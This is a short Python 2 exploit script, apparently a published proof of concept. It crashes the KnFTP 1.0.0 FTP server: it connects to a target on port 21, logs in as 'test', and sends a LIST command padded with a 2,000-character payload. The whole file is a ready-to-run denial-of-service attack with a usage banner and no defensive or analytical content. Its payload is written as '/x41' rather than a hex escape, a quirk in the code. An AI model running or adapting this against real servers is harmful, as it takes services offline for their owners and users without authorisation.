#!/usr/bin/python
#
# e-mail: fernando.mengalli@gmail.com
#
# Date: 06/13/2021 - 13 jun
#
# Version Vulnerable: KnFTP 1.0.0 Server
#
# OS Tested: Windows XP PACK 3 Brazilian

import socket
import sys

if len(sys.argv) != 2:
    print "########################################################"
    print "#                                                      #"
    print "#  KnFTP 1.0.0 Server - 'LIST' Denied of Service       #"
    print "#                                                      #"
    print "#              Author: Fernando Mengali                #"
    print "#                                                      #"
    print "#              Usage: exploit.py <IP>                  #"
    print "#                                                      #"
    print "########################################################"
    sys.exit(1)

target = sys.argv[1]

payload = "/x41"*500

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
    connect = s.connect((target, 21))
    print "[+] Conectado com sucesso"
except:
    print "[-] Falha ao conectar para o servidor..."
    sys.exit(0)
s.recv(1024)
print "[+] Autenticando..."
s.send('USER test\r\n')
s.recv(1024)
s.send('PASS test\r\n')
s.recv(1024)
s.send('LIST '+payload+'\r\n')
print "[+] Enviando pacote crafted..."
s.close()